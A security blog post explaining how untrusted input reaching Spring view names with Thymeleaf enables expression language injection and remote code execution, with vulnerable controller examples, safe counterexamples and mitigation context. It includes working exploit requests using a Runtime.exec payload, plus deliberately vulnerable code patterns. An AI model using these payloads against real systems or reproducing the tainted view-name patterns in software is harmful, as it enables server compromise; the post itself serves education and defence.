Spring View Manipulation Vulnerability

In this article, we explain how dangerous an unrestricted view name manipulation in Spring Framework could be. Before doing so, lets look
at the simplest Spring application that uses Thymeleaf as a templating engine:

Structure:

HelloController.java:

@Controllerpublic class HelloController {    @GetMapping("/")    public String index(Model model) {        model.addAttribute("message", "happy birthday");        return "welcome";    }}

Due to the use of @Controller and @GetMapping("/") annotations, this method will be called for every HTTP GET request for the root url (‘/’). It does not have any parameters and returns a static string “welcome”. Spring framework interprets “welcome” as a View name, and tries to find a file “resources/templates/welcome.html” located in the application resources. If it finds it, it renders the view from the template file and returns to the user. If the Thymeleaf view engine is in use (which is the most popular for Spring), the template may look like this:

welcome.html:

Spring Boot Web Thymeleaf Example

Thymeleaf engine also support file layouts. For example, you can specify a fragment in the template by using

and then request only this fragment from the view:

@GetMapping("/main")public String fragment() {    return "welcome :: main";}

Thymeleaf is intelligent enough to return only the ‘main’ div from the welcome view, not the whole document.

From a security perspective, there may be a situation when a template name or a fragment are concatenated with untrusted data. For example, with a request parameter:

@GetMapping("/path")public String path(@RequestParam String lang) {    return "user/" + lang + "/welcome"; //template path is tainted}@GetMapping("/fragment")public String fragment(@RequestParam String section) {    return "welcome :: " + section; //fragment is tainted}

The first case may contain a potential path traversal vulnerability, but a user is limited to the ‘templates’ folder on the server and cannot view any files outside it. The obvious exploitation approach would be to try to find a separate file upload and create a new template, but that’s a different issue.
Luckily for bad guys, before loading the template from the filesystem, Spring ThymeleafView class parses the template name as an expression:

try {   // By parsing it as a standard expression, we might profit from the expression cache   fragmentExpression = (FragmentExpression) parser.parseExpression(context, "~{" + viewTemplateName + "}");}

So, the aforementioned controllers may be exploited not by path traversal, but by expression language injection:

Exploit for /path

GET /path?lang=x::${T(java.lang.Runtime).getRuntime().exec("whoami") HTTP/1.1

Exploit for /fragment

GET /fragment?section=${T(java.lang.Runtime).getRuntime().exec("whoami") HTTP/1.1

To summarize, whenever untrusted data comes to a view name returned from the controller, it could lead to expression language injection and therefore to Remote Code Execution.

Even more magic

In the previous examples, controllers return strings, explicitly telling Spring what view name to use, but that’s not always the case. As described in the documentation, some return types such as void, java.util.Map or org.springframework.ui.Model:

the view name implicitly determined through a RequestToViewNameTranslator

It means that a controller like this:

@GetMapping("/doc/{document}")public void getDocument(@PathParam String document) {    log.info("Retrieving " + document)}

may look absolutely innocent at first glance, it does almost nothing, but since Spring does not know what View name to use, it takes it from the request URI. Specifically, DefaultRequestToViewNameTranslator does the following:

/ * Translates the request URI of the incoming {@link HttpServletRequest} * into the view name based on the configured parameters. * @see org.springframework.web.util.UrlPathHelper#getLookupPathForRequest * @see #transformPath */@Overridepublic String getViewName(HttpServletRequest request) {    String lookupPath = this.urlPathHelper.getLookupPathForRequest(request, HandlerMapping.LOOKUP_PATH);    return (this.prefix + transformPath(lookupPath) + this.suffix);}

So it also become vulnerable as the user controlled data (URI) comes directly to view name and resolved as expression.

Exploit for /doc

GET /doc/x::${T(java.lang.Runtime).getRuntime().exec("whoami").x HTTP/1.1

Safe case: ResponseBody

The are also some cases when a controller returns a used-controlled value, but they are not vulnerable to view name manipulation. For example, when the controller is annotated with @ResponseBody:

@GetMapping("/_safe/fragment")@ResponseBodypublic String safeFragment(@RequestParam String section) {    return "welcome :: " + section; //FP, as @ResponseBody annotation tells Spring to process the return values as body, instead of view name}

In this case Spring Framework does not interpret it as a view name, but just returns this string in HTTP Response. The same applies to @RestController on a class, as internally it inherits @ResponseBody.

Safe case: A redirect

@GetMapping("/redirect")public String redirect(@RequestParam String url) {    return "redirect:" + url; //CWE-601, as we can control the hostname in redirect}

When the view name is prepended by "redirect:" the logic is also different. In this case, Spring does not use Spring ThymeleafView anymore but a RedirectView, which does not perform expression evaluation. This example still has an open redirect vulnerability, but it is certainly not as dangerous as RCE via expression evaluation.

Safe case: Response is already processed

@GetMapping("/safe/doc/{document}")public void getDocument(@PathParam String document, HttpServletResponse response) {    log.info("Retrieving " + document)}

This case is very similar to one of the previous vulnerable examples, but since the controller has HttpServletResponse in parameters, Spring considers that it’s already processed the HTTP Response, so the view name resolution just does not happen. This check exists in the ServletResponseMethodArgumentResolver class.

Conclusion

Spring is a framework with a bit of magic, it allows developers to write less code but sometimes this magic turns black. It’s important to understand situations when user controlled data goes to sensitive variables (such as view names) and prevent them accordingly. Stay safe.

This article was co-authored by Michael Stepankin and Giuseppe Trovato


*** This is a Security Bloggers Network syndicated blog from Application Security Research, News, and Education Blog authored by mstepankin@veracode.com (mstepankin). Read the original post at: https://www.veracode.com/blog/secure-development/spring-view-manipulation-vulnerability